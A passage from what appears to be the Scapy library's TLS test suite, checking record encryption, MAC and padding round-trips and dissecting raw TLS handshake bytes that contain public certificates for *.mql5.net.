ch = Cipher_RC4_40(_rc4_40_test.k)\n    encr = _tls_encrypt(ch, plain)\n    assert isinstance(encr, TLSCiphertext)\n    assert encr != plain\n    decr = _tls_decrypt(ch, encr)\n    assert isinstance(decr, TLSPlaintext)\n    assert decr == plain\n    encr = _tls_encrypt(ch, comp)\n    assert isinstance(encr, TLSCiphertext)\n    assert encr != comp\n    decr = _tls_decrypt(ch, encr)\n    assert isinstance(decr, TLSPlaintext)\n    assert (decr.version == comp.version and decr.type == comp.type\n            and decr.len == comp.len and decr.data == comp.data)\n    # MAC add/verify test\n    mac = Hash_SHA256()\n    save_encr = encr.copy()\n    assert save_encr is not encr\n    _tls_mac_add(mac, encr, 1)\n    assert isinstance(encr, TLSCiphertext)\n    had_mac = _tls_mac_verify(mac, encr, 1)\n    assert had_mac\n    assert encr == save_encr\n    # Pad add/delete test\n    save_comp = comp.copy()\n    assert save_comp is not comp\n    block_size = 8\n    _tls_add_pad(comp, block_size)\n    assert isinstance(comp, TLSCompressed)\n    assert comp.len == save_comp.len + -save_comp.len % block_size + 1\n    had_pad = _tls_del_pad(comp)\n    assert had_pad\n    assert comp == save_comp\n    block_size = save_comp.len // 2\n    _tls_add_pad(comp, block_size)\n    assert isinstance(comp, TLSCompressed)\n    assert comp.len == save_comp.len + -save_comp.len % block_size + 1\n    had_pad = _tls_del_pad(comp)\n    assert had_pad\n    assert comp == save_comp\n    # AEAD auth encrypt/decrypt test\n    ch_auth = Cipher_AES_128_GCM(key=_aes128gcm_test_1.k,\n                                 fixed_iv=_aes128gcm_test_1.n[:4],\n                                 nonce_explicit=pkcs_os2ip(_aes128gcm_test_1.n[4:]))\n    auth_encr = _tls_aead_auth_encrypt(ch_auth, comp, 1)\n    assert isinstance(auth_encr, TLSCiphertext)\n    assert auth_encr != comp\n    # auth_decr = _tls_aead_auth_decrypt(ch_auth, auth_encr, 1)\n    # assert isinstance(auth_decr, TLSCompressed)\n    # assert auth_decr == comp\n    ch_auth = Cipher_AES_128_GCM_TLS13(key=_aes128gcm_test_1.k,\n                                       fixed_iv=_aes128gcm_test_1.n)\n    auth_encr = _tls_aead_auth_encrypt(ch_auth, comp, 1)\n    assert isinstance(auth_encr, TLSCiphertext)\n    assert auth_encr != comp\n    # auth_decr = _tls_aead_auth_decrypt(ch_auth, auth_encr, 1)\n    # assert isinstance(auth_decr, TLSCompressed)\n    # assert auth_decr == comp\n\ntest_tls_tools()\n\n= Dissect TLSCertificateVerify\n\nfrom scapy.layers.tls.handshake import TLSCertificateVerify\n\nt = TLS(b'\\x16\\x03\\x03\\x00P\\x0f\\x00\\x00L\\x04\\x03\\x00H0F\\x02!\\x00\\xcf\\xf1\\xd0:1\\xb8\\xe4JCU\\x00\\x8c\\xcdg\\xf9=g\\x84\\xa3h;V@\\xfd\\xd1\\\\\\xf0\\xc4f\\xfa\\x18\\xdc\\x02!\\x00\\x82\\x1dF\\xc1\\xd1\\xab\\x86\\xaa\\xb9\"\\x0eA\\xf2\\xc3Rj\\xd7\\xf1\\xe9\\xaf\\x9b\\xa5?R\\n\\xca\\x15\\xfe)\\xa9j\\x84')\nassert TLSCertificateVerify in t\nassert t[TLSCertificateVerify].sig.sig_len == 72\n\n\n= Test complex TLSServerKeyExchange dissection & build\n\na = b'\\x16\\x03\\x03\\x0e4\\x02\\x00\\x00M\\x03\\x03^\\xfa\\xb5~\\x88\\xdf\\xdc#}\\'\\xa0\\xff\\xa2\\xe2\\xb5\\xec\\x0e\\x93\\xa8\\xe0\\xde\\x01[\\x13[F\\x151 x\\xc6\\xcc `)\\x00\\x00\\x8aZ\\x90l\\xda\\x0b\\xe1\\xec[i\\x13\\xa7\\x8e\\xb9a\\x98\"\\x8a7L\\x9d\\x90\\xe0\\x01\\x06c$9\\xc0\\'\\x00\\x00\\x05\\xff\\x01\\x00\\x01\\x00\\x0b\\x00\\x0c\\x8e\\x00\\x0c\\x8b\\x00\\x06n0\\x82\\x06j0\\x82\\x05R\\xa0\\x03\\x02\\x01\\x02\\x02\\x10EY\\xe8\\x1c\\x1e\\x9a\\xe0?X\\xaa\\xc3\\xbc\\xcd`jh0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000\\x81\\x8f1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x1b0\\x19\\x06\\x03U\\x04\\x08\\x13\\x12Greater Manchester1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x13\\x07Salford1\\x180\\x16\\x06\\x03U\\x04\\n\\x13\\x0fSectigo Limited1705\\x06\\x03U\\x04\\x03\\x13.Sectigo RSA Domain Validation Secure Server CA0\\x1e\\x17\\r190309000000Z\\x17\\r210308235959Z0W1!0\\x1f\\x06\\x03U\\x04\\x0b\\x13\\x18Domain Control Validated1\\x1d0\\x1b\\x06\\x03U\\x04\\x0b\\x13\\x14PositiveSSL Wildcard1\\x130\\x11\\x06\\x03U\\x04\\x03\\x0c\\n*.mql5.net0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xcb\\xbcn=\\xbaGd\\xe1XB\\x07\\xc9\\xb1\\xc8/\\x86\\xaa4Z\\xbdNk\\xfb\\xffR\\x8f\\xe4\\x1c^\\x91m8\\xb9^\\x97\\xa5\\xd3N\\xfb\\x80\\x92\\x8ap\\xda\\x15\\x9f\\xee\\xe7\\xb3\\xc8?\\xb0>~\\xaa\\x07\\x91\\xb1\\x99q\\xe2\\xe5\\xc8\\x9b\\x1d5\\xa0\\x96,\\x98\\xdaW\\x93\\x95\\x8e%\\xe8\\xd4L\\xeb\\xcbSg\\x15\"\\xba\\xb7\\xc7\\x1f\\xe9\\xd6\\x1a\\xe6E\\x1d\\xc8\\x1e%\\xd36\\xe0/r\\xd1\\xce1C\\xce\\x91&\\xa1\\x08*R\\xbf\\x8cu\\xb0\\xda\\x0e\\x1e2\\xd66\\x1df&3\\x9b\\x03\\x0b\\xcam:\\xf7\\x12\\xd9ud(\\xae\\xdc\\xbci\\x85\\xbd\\xcf\\xeb{\\x15:\\xbd\\x0e\\x11\\x1bi\\xd8\\xff]y~E\\x15\\x95\\xee\\xe9\\xea\\xc6Cr</\\x0b\\xe8\\xc2\\x9d\\xe3\\x83\\x07R\\xeb1\\xf0\\x93<|.\\xf8G\\xab\\xa8=\\xac\\x16\\x1d\\xf9\\x93%\\x1b;)\\xb2FN\\x15\\xc4\\x17\\xa9}\\xb0\\x80\\xba\\xfb\\xc8\\x15-G\\x9e\\x05\\xe9\\xf6\\xc76\\xc1\\x9af\\xa3\\x91\\n\\xa4\\x80,\\x11=\\x87\\xec\\xf9\\xd6iJ\\xd0\\xbe\\xc3K\\x99J\\xe7&\\xc4\\x86\\x84:W\\xc4/\\x7f\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x02\\xf70\\x82\\x02\\xf30\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14\\x8d\\x8c^\\xc4T\\xad\\x8a\\xe1w\\xe9\\x9b\\xf9\\x9b\\x05\\xe1\\xb8\\x01\\x8da\\xe10\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14z\\x87\\xb6T\\xcbt:a\\x03\\xef:\\x1f_\\xad\\xc0\\x1cT\\x15\\x9d\\xe30\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x05\\xa00\\x0c\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x020\\x000\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x01\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x020I\\x06\\x03U\\x1d \\x04B0@04\\x06\\x0b+\\x06\\x01\\x04\\x01\\xb21\\x01\\x02\\x02\\x070%0#\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x17https://sectigo.com/CPS0\\x08\\x06\\x06g\\x81\\x0c\\x01\\x02\\x010\\x81\\x84\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04x0v0O\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86Chttp://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x17http://ocsp.sectigo.com0\\x1f\\x06\\x03U\\x1d\\x11\\x04\\x180\\x16\\x82\\n*.mql5.net\\x82\\x08mql5.net0\\x82\\x01\\x7f\\x06\\n+\\x06\\x01\\x04\\x01\\xd6y\\x02\\x04\\x02\\x04\\x82\\x01o\\x04\\x82\\x01k\\x01i\\x00v\\x00\\xbb\\xd9\\xdf\\xbc\\x1f\\x8aq\\xb5\\x93\\x94#\\x97\\xaa\\x92{G8W\\x95\\n\\xabR\\xe8\\x1a\\x90\\x96d6\\x8e\\x1e\\xd1\\x85\\x00\\x00\\x01icH\\xf8\\x9b\\x00\\x00\\x04\\x03\\x00G0E\\x02 =\\xab\\xac\\xefa \\xc3\\xf3J\\xbb] w8\\xc1+\\xa9\\x1b8\\xcc\\x94LP,T\\xe0\\x07\\xe8\\x87\\x93s\\xf5\\x02!\\x00\\xf4D\\x0e\\x86a\\xc9M\\x8b\\xc5\\xf8\\xec\\x821\\x9b\\xbf]^\\xacB1p\\xfc\\x8a\\n\\x07\\xefz\\xb6\\x82 \\xe0\\xd5\\x00v\\x00D\\x94e.\\xb0\\xee\\xce\\xaf\\xc4@\\x07\\xd8\\xa8\\xfe(\\xc0\\xda\\xe6\\x82\\xbe\\xd8\\xcb1\\xb5?\\xd33\\x96\\xb5\\xb6\\x81\\xa8\\x00\\x00\\x01icH\\xf8\\xdb\\x00\\x00\\x04\\x03\\x00G0E\\x02 ]\\x91\\x03.5\\xaaA\\xa82\\xf4Bg\\x08\\xf7\\xf1\\x948N\\x08,\\xf5\\x96\\x01\\x08\\xdcM]&7J\\xebv\\x02!\\x00\\xeb\\x90\\r\\xd5k\\xf9\\xa3L<\\xc67]\\xc5]\\x16\\xb2\\x10\\xed\\xd5\\x9b\\xec\\xdc$\\xe1\\xd5r+\\x99\\x19\\xdbb\\xe4\\x00w\\x00\\\\\\xdcC\\x92\\xfe\\xe6\\xabED\\xb1^\\x9a\\xd4V\\xe6\\x107\\xfb\\xd5\\xfaG\\xdc\\xa1s\\x94\\xb2^\\xe6\\xf6\\xc7\\x0e\\xca\\x00\\x00\\x01icH\\xf8\\xe5\\x00\\x00\\x04\\x03\\x00H0F\\x02!\\x00\\x8f\\xf5W\\xd5 \\xea\\x02\\xc4v\\x1b\\xd0h\\x03\\xe7`\\xec\\xdfp\\xd7\\xb8\\x10\\xd9nb7\\xadDp\\xf6V\\xa0l\\x02!\\x00\\xa9\\x935\\x94\\xe3\\xdb\\xab\\xc8N\\xd2t\\xa2M\\xd5\\xf0\\x1c8\\xccl\\xd3}\\xceQ\\xc5u\\xbc\\xa1>!=~y0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x17\\x7f\\x18\\x82[\\t\\x18@R@\\xa6\\xb7\\xc5[\\xf1su\\xc7\\x8cG?\\xf7\\x91\\xe2E]\\x1b\\x7f\\xc3su\\x88\\xb6\\x17t\\xc3\\x8b\\xb1g\\xd2\\x06\\xfc\\x82\\x84\\x8d\\xbb\\x13\\xc1\\x8c\\xf71\\xc0>(?\\xa3\\xf0P\\x14Z\\x8a\\x97\\x9c\\xa3\\xb1!ddy\\xa3 .\\xdb\\xd3\\xfb\\xa6\\x0b\\xf7k\\xdbP\\xb48\\xeb\\xc7\\x90\\x00\\xa9\\x90\\xa4\\x9d\\xbf\\x9c\\xa7\\n\\x8e\\x90\\xfe\\x8f\\xa3\\x95Th\\xe6,\\xdd\\xde\\xde\\x06\\x0b\\x8e+\\xf5\\xca\\x85>n\\xbf\\xd87\\xff\\xe3\\xd2|*\\xc0\\x89\\x07\\x95\\xbeV\\x90:lG[\\xf0\\xadUF\\xa1\\x88nmj\\xbb\\xa9\\x16\\x90\\xdd\\x84\\xe4\\xbf\\xe7\\xe8\\xe3\"\\xd4+0\\xa0d\\xdc.\\x8e\\x85+\\xbd\\x99\\xd8\\x02\\xa7K}\\xb1\\xc4\\xed;\\xe2\\xaf\\x81R\\xceJ\\xb9iZ\\xec\\xda\\x8f`\\x8eI\\xf6]\\x83-\\x9e\\xa7{]\\x02\\x9d\\x1fh\\xf4\\xef\\x14\\xf4\\xb3\\x0e\\r\\xe6\\x9b\\x9d\\x96\\xb4\\x90iWA\\xe0\\xf4\\x1d_\\xbeRD\\x15a;?\\t\\x8c\\x8f6\\xea!\\xf2\\xd6/Yg\\x82e/5\\xe1\\xb4\\xa1\\x94\\xef\\xd7\\x94\\x82\\x04\\x00\\x06\\x170\\x82\\x06\\x130\\x82\\x03\\xfb\\xa0\\x03\\x02\\x01\\x02\\x02\\x10}[Q&\\xb4v\\xba\\x11\\xdbt\\x16\\x0b\\xbcS\\r\\xa70\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0c\\x05\\x000\\x81\\x881\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x130\\x11\\x06\\x03U\\x04\\x08\\x13\\nNew Jersey1\\x140\\x12\\x06\\x03U\\x04\\x07\\x13\\x0bJersey City1\\x1e0\\x1c\\x06\\x03U\\x04\\n\\x13\\x15The USERTRUST Network1.0,\\x06\\x03U\\x04\\x03\\x13%USERTrust RSA Certification Authority0\\x1e\\x17\\r181102000000Z\\x17\\r301231235959Z0\\x81\\x8f1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x1b0\\x19\\x06\\x03U\\x04\\x08\\x13\\x12Greater Manchester1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x13\\x07Salford1\\x180\\x16\\x06\\x03U\\x04\\n\\x13\\x0fSectigo Limited1705\\x06\\x03U\\x04\\x03\\x13.Sectigo RSA Domain Validation Secure Server CA0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xd6s3\\xd6\\xd7< \\xd0\\x00\\xd2\\x17E\\xb8\\xd6>\\x07\\xa2?\\xc7A\\xee20\\xc9\\xb0l\\xfd\\xf4\\x9f\\xcb\\x12\\x98\\x0f-?\\x8dM\\x01\\x0c\\x82\\x0f\\x17\\x7fb.\\xe9\\xb8Hy\\xfb\\x16\\x83N\\xad\\xd72%\\x93\\xb7\\x07\\xbf\\xb9P?\\xa9L\\xc3@*\\xe99\\xff\\xd9\\x81\\xca\\x1f\\x162A\\xda\\x80&\\xb9#z\\x87 \\x1e\\xe3\\xff \\x9a<\\x95Do\\x87u\\x06\\x90@\\xb42\\x93\\x16\\t\\x10\\x08#>\\xd2\\xdd\\x87\\x0fo]Q\\x14j\\ni\\xc5O\\x01ri\\xcf\\xd3\\x93Lm\\x04\\xa0\\xa3\\x1b\\x82~\\xb1\\x9a\\xb9\\xed\\xc5\\x9e\\xc57x\\x9f\\x9a\\x084\\xfbV.X\\xc4\\t\\x0e\\x06d[\\xbc7\\xdc\\xf1\\x9f(h\\xa8V\\xb0\\x92\\xa3\\\\\\x9f\\xbb\\x88\\x98\\x08\\x1b$\\x1d\\xab0\\x85\\xae\\xaf\\xb0.\\x9ez\\x9d\\xc1\\xc0B\\x1c\\xe2\\x02\\xf0\\xea\\xe0J\\xd2\\xef\\x90\\x0e\\xb4\\xc1@\\x16\\xf0o\\x85BJd\\xf7\\xa40\\xa0\\xfe\\xbf.\\xa3\\'Z\\x8e\\x8bX\\xb8\\xad\\xc3\\x19\\x17\\x84c\\xedoV\\xfd\\x83\\xcb`4\\xc4t\\xbe\\xe6\\x9d\\xdb\\xe1\\xe4\\xe5\\xca\\x0c_\\x15\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01n0\\x82\\x01j0\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14Sy\\xbfZ\\xaa+J\\xcfT\\x80\\xe1\\xd8\\x9b\\xc0\\x9d\\xf2\\xb2\\x03f\\xcb0\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\x8d\\x8c^\\xc4T\\xad\\x8a\\xe1w\\xe9\\x9b\\xf9\\x9b\\x05\\xe1\\xb8\\x01\\x8da\\xe10\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x860\\x12\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x080\\x06\\x01\\x01\\xff\\x02\\x01\\x000\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x01\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x020\\x1b\\x06\\x03U\\x1d \\x04\\x140\\x120\\x06\\x06\\x04U\\x1d \\x000\\x08\\x06\\x06g\\x81\\x0c\\x01\\x02\\x010P\\x06\\x03U\\x1d\\x1f\\x04I0G0E\\xa0C\\xa0A\\x86?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04j0h0?\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x863http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x19http://ocsp.usertrust.com0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0c\\x05\\x00\\x03\\x82\\x02\\x01\\x002\\xbfa\\xbd\\x0eH\\xc3O\\xc7\\xbaGM\\xf8\\x9cx\\x19\\x01\\xdc\\x13\\x1d\\x80o\\xfc\\xc3p\\xb4R\\x9a13\\x9aWR\\xfb1\\x9ek\\xa4\\xefT\\xaa\\x89\\x8d@\\x17h\\xf8\\x11\\x10|\\xd2\\xca\\xb1\\xf1U\\x86\\xc7\\xee\\xb36\\x91\\x86\\xf69Q\\xbfF\\xbf\\x0f\\xa0\\xba\\xb4\\xf7~I\\xc4*6\\x17\\x9e\\xe4h9z\\xaf\\x94NVo\\xb2{;\\xbf\\n\\x86\\xbd\\xcd\\xc5w\\x1c\\x03\\xb88\\xb1\\xa2\\x1f_~\\xdb\\x8a\\xdcFH\\xb6h\\n\\xcf\\xb2\\xb5\\xb4\\xe24\\xe4g\\xa98f\\t^\\xd2\\xb8\\xfc\\x9d(:\\x17@\\'\\xc2rN)\\xfd!<|\\xcf\\x13\\xfb\\x96,\\xc51D\\xfd\\x13\\xed\\xd5\\x9b\\xa9ihw|\\xee\\xe1\\xff\\xa4\\xf968\\x08S9\\xa2\\x844\\x9c\\x19\\xf3\\xbe\\x0e\\xac\\xd5$7\\xeb#\\xa8x\\xd0\\xd3\\xe7\\xef\\x92Gdb9\"\\xef\\xc6\\xf7\\x11\\xbe\"\\x85\\xc6fD$&\\x8e\\x102\\x8d\\xc8\\x93\\xae\\x07\\x9e\\x83>/\\xd9\\xf9\\xf5F\\x8ec\\xbe\\xc1\\xe6\\xb4\\xdc\\xa6\\xcd!\\xa8\\x86\\n\\x95\\xd9.\\x85&\\x1a\\xfd\\xfc\\xb1\\xb6WBm\\x95\\xd13\\xf69\\x14\\x06\\x82A8\\xf5\\x8fX\\xdc\\x80[\\xa4\\xd5}\\x95x\\xfd\\xa7\\x9b\\xff\\xfd\\xc5\\xa8i\\xab&\\xe7\\xa7\\xa4\\x05\\x87[\\xa9\\xb7\\xb8\\xa3 \\x0b\\x97\\xa9E\\x85\\xdd\\xb3\\x8b\\xe5\\x897\\x8e)\\r\\xfc\\x06\\x17\\xf68@\\x0eB\\xe4\\x12\\x06\\xfb{\\xf3\\xc6\\x11hb\\xdf\\xe3\\x98\\xf4\\x13\\xd8\\x15O\\x8b\\xb1i\\xd9\\x10`\\xbcd*\\xea1\\xb7\\xe4\\xb5\\xa3:\\x14\\x9b&\\xe3\\x0b{\\xfd\\x02\\x8e\\xb6\\x99\\xc18\\x97Y6\\xf6\\xa8t\\xa2\\x86\\xb6^\\xeb\\xc6d\\xea\\xcf\\xa0\\xa3\\xf9n\\x9e\\xba-\\x11\\xb6\\x86\\x98\\x08X-\\xc9\\xac%d\\xf2^u\\xb48\\xc1\\xae\\x7fZF\\x83\\xeaQ\\xca\\xb6\\xf1\\x99\\x115k\\xa5j{\\xc6\\x00\\xb0\\xe7\\xf8\\xbed\\xb2\\xad\\xc8\\xc2\\xf1\\xac\\xe3Q\\xea\\xa4\\x93\\xe0y\\xc8\\xe1\\x81@\\xc9\\n[\\xe1\\x12<\\xc1`*\\xe3\\x97\\xc0\\x89B\\xca\\x94\\xcfF\\x98\\x12i\\xbb\\x98\\xd0\\xc2\\xd3\\rrKGn\\xe5\\x93\\xc42(c\\x87C\\xe4\\xb02>\\n\\xd3K\\xbf#\\x9b\\x14)A+\\x9a\\x04\\x1f\\x93-\\xf1\\xc79H<\\xadZ\\x12\\x7f\\x0c\\x00\\x01I\\x03\\x00\\x17A\\x04\\x13\\x1c\\x02q\\xd4m\\x97\\x01\\x99\\xcf\\xf2\\x80G\\xa8\\xe1\\xdf\\x1ak\\xbf\\x1fJ\\xf9\\x9e\\xd0\\x02\\x01W\\x9d\\xb8\\xbc*\\xf9S\\xb6\\xbf\\xb8\\xf1\\xc1\\x89\\xcd\\x96C(\\xa8|\\x189\\x13\\xcd\\xc5\\xf7Q\\x1e\\xe17h~\\x8c`\\x1f8\\x8e\\xacq\\x04\\x01\\x01\\x00\\xc1R`\\xb8\\x14!\\xed\\xb9\\xbca\\x9d0{\\xb7\\x95\\x94\\x80\\x06\\t.A\\xcc\\x82\\x99\\x89N_\\xa1\\x08M%#\\x1fg\\xb6\\xa2\\xfe\\x00\\xd6\\xa8\\xe9\\x9fd\\x91O\\xdbzw\\xbfS\\x88?\\xeb[2\\x7f\\xa1\\xeb\\xd1vmi_\\x95\\xd0A\\x04`\\x01+\\x02\\\\\\x99\\xa0\\xe9\\n\\xb5\\xb5j\\x85\\x89J\\x82\\xf8\\x00\\xbb\\xa3%\\x14\\x15D\\xbf9\\x12{\\x9e\\xca\\x0e\\x92\\xdf\\xbb\\xfd\\xd3\\xc8\\x0ez\\x04n \\x12\\x01\\xd2|\\xc6t\\xc36\\xce>:J\\xc3\\x81+d\\xbc\\xb1\\x1d\\x8d\\x00o\\x00\\xc9\\xd4%\\xb6\\x90\\x1f\\xe1\\xc5\\x14\\xb5Qk\\x06\\x1e\\xf6{\\xbdJ\\xb2H\\xcbf\\xe9_mQ(\\x9e4\\x10U#\\xcd4\\x88\\x1c\\xfb\\x03\\x80(Q:\\x9c\\x0f\\x16\\xed\\xad\\xb4\\x18k\\t\\xc5$\\x97}~s\\xc1\\xca\\xae\\x9d\\xd1q\\x94\\x9fi+Pj\\x80:v\\xc1z#\\xf6\\xee]ou~\\xa3\\xd9I\\xce\\xb8Z|\\x1b\\x8ep\\xc6\\x19\\xb4A\\x03\\x92\\x1bp\\x16\\x10\\x0f\\x84\\xa9\\x9f\\xb7\\xc9\\x01\\xc8^\\x93\\xaat\\r\\x87\\x96\\x86\\xf6\\xc5\\xfe\\x88\\x13\\xc3N\\x0e\\x00\\x00\\x00'\np = TLS(a)\np.clear_cache()\nassert raw(p) == a\n\n= Issue 2763\n\nwith no_debug_dissector():\n    p = Ether(b'RU\\x10\\x00\\x02\\x02RT\\x00\\x124V\\x08\\x00E\\x00\\x05\\xc8\\r\\xd8\\x00\\x00@\\x06\\x96\\x9d\\x9c&\\xce\\x12\\xc0\\xa8\\xa5\\xd9\\x01\\xbb\\xc0\\x1f\\x00w$\\x02\\x03\\xbe\\xc5#P\\x10#(\\x0b\\x9e\\x00\\x00\\x16\\x03\\x03\\x0e4\\x02\\x00\\x00M\\x03\\x03^\\xfa\\xb5~\\x88\\xdf\\xdc#}\\'\\xa0\\xff\\xa2\\xe2\\xb5\\xec\\x0e\\x93\\xa8\\xe0\\xde\\x01[\\x13[F\\x151 x\\xc6\\xcc `)\\x00\\x00\\x8aZ\\x90l\\xda\\x0b\\xe1\\xec[i\\x13\\xa7\\x8e\\xb9a\\x98\"\\x8a7L\\x9d\\x90\\xe0\\x01\\x06c$9\\xc0\\'\\x00\\x00\\x05\\xff\\x01\\x00\\x01\\x00\\x0b\\x00\\x0c\\x8e\\x00\\x0c\\x8b\\x00\\x06n0\\x82\\x06j0\\x82\\x05R\\xa0\\x03\\x02\\x01\\x02\\x02\\x10EY\\xe8\\x1c\\x1e\\x9a\\xe0?X\\xaa\\xc3\\xbc\\xcd`jh0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000\\x81\\x8f1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x1b0\\x19\\x06\\x03U\\x04\\x08\\x13\\x12Greater Manchester1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x13\\x07Salford1\\x180\\x16\\x06\\x03U\\x04\\n\\x13\\x0fSectigo Limited1705\\x06\\x03U\\x04\\x03\\x13.Sectigo RSA Domain Validation Secure Server CA0\\x1e\\x17\\r190309000000Z\\x17\\r210308235959Z0W1!0\\x1f\\x06\\x03U\\x04\\x0b\\x13\\x18Domain Control Validated1\\x1d0\\x1b\\x06\\x03U\\x04\\x0b\\x13\\x14PositiveSSL Wildcard1\\x130\\x11\\x06\\x03U\\x04\\x03\\x0c\\n*.mql5.net0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xcb\\xbcn=\\xbaGd\\xe1XB\\x07\\xc9\\xb1\\xc8/\\x86\\xaa4Z\\xbdNk\\xfb\\xffR\\x8f\\xe4\\x1c^\\x91m8\\xb9^\\x97\\xa5\\xd3N\\xfb\\x80\\x92\\x8ap\\xda\\x15\\x9f\\xee\\xe7\\xb3\\xc8?\\xb0>~\\xaa\\x07\\x91\\xb1\\x99q\\xe2\\xe5\\xc8\\x9b\\x1d5\\xa0\\x96,\\x98\\xdaW\\x93\\x95\\x8e%\\xe8\\xd4L\\xeb\\xcbSg\\x15\"\\xba\\xb7\\xc7\\x1f\\xe9\\xd6\\x1a\\xe6E\\x1d\\xc8\\x1e%\\xd36\\xe0/r\\xd1\\xce1C\\xce\\x91&\\xa1\\x08*R\\xbf\\x8cu\\xb0\\xda\\x0e\\x1e2\\xd66\\x1df&3\\x9b\\x03\\x0b\\xcam:\\xf7\\x12\\xd9ud(\\xae\\xdc\\xbci\\x85\\xbd\\xcf\\xeb{\\x15:\\xbd\\x0e\\x11\\x1bi\\xd8\\xff]y~E\\x15\\x95\\xee\\xe9\\xea\\xc6Cr</\\x0b\\xe8\\xc2\\x9d\\xe3\\x83\\x07R\\xeb1\\xf0\\x93<|.\\xf8G\\xab\\xa8=\\xac\\x16\\x1d\\xf9\\x93%\\x1b;)\\xb2FN\\x15\\xc4\\x17\\xa9}\\xb0\\x80\\xba\\xfb\\xc8\\x15-G\\x9e\\x05\\xe9\\xf6\\xc76\\xc1\\x9af\\xa3\\x91\\n\\xa4\\x80,\\x11=\\x87\\xec\\xf9\\xd6iJ\\xd0\\xbe\\xc3K\\x99J\\xe7&\\xc4\\x86\\x84:W\\xc4/\\x7f\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x02\\xf70\\x82\\x02\\xf30\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14\\x8d\\x8c^\\xc4T\\xad\\x8a\\xe1w\\xe9\\x9b\\xf9\\x9b\\x05\\xe1\\xb8\\x01\\x8da\\xe10\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14z\\x87\\xb6T\\xcbt:a\\x03\\xef:\\x1f_\\xad\\xc0\\x1cT\\x15\\x9d\\xe30\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x05\\xa00\\x0c\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x020\\x000\\x1d\\x06\\x03U\\x1d%\\x04\\x160\\x14\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x01\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x020I\\x06\\x03U\\x1d \\x04B0@04\\x06\\x0b+\\x06\\x01\\x04\\x01\\xb21\\x01\\x02\\x02\\x070%0#\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x17https://sectigo.com/CPS0\\x08\\x06\\x06g\\x81\\x0c\\x01\\x02\\x010\\x81\\x84\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04x0v0O\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86Chttp://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x17http://ocsp.sectigo.com0\\x1f\\x06\\x03U\\x1d\\x11\\x04\\x180\\x16\\x82\\n*.mql5.net\\x82\\x08mql5.net0\\x82\\x01\\x7f\\x06\\n+\\x06\\x01\\x04\\x01\\xd6y\\x02\\x04\\x02\\x04\\x82\\x01o\\x04\\x82\\x01k\\x01i\\x00v\\x00\\x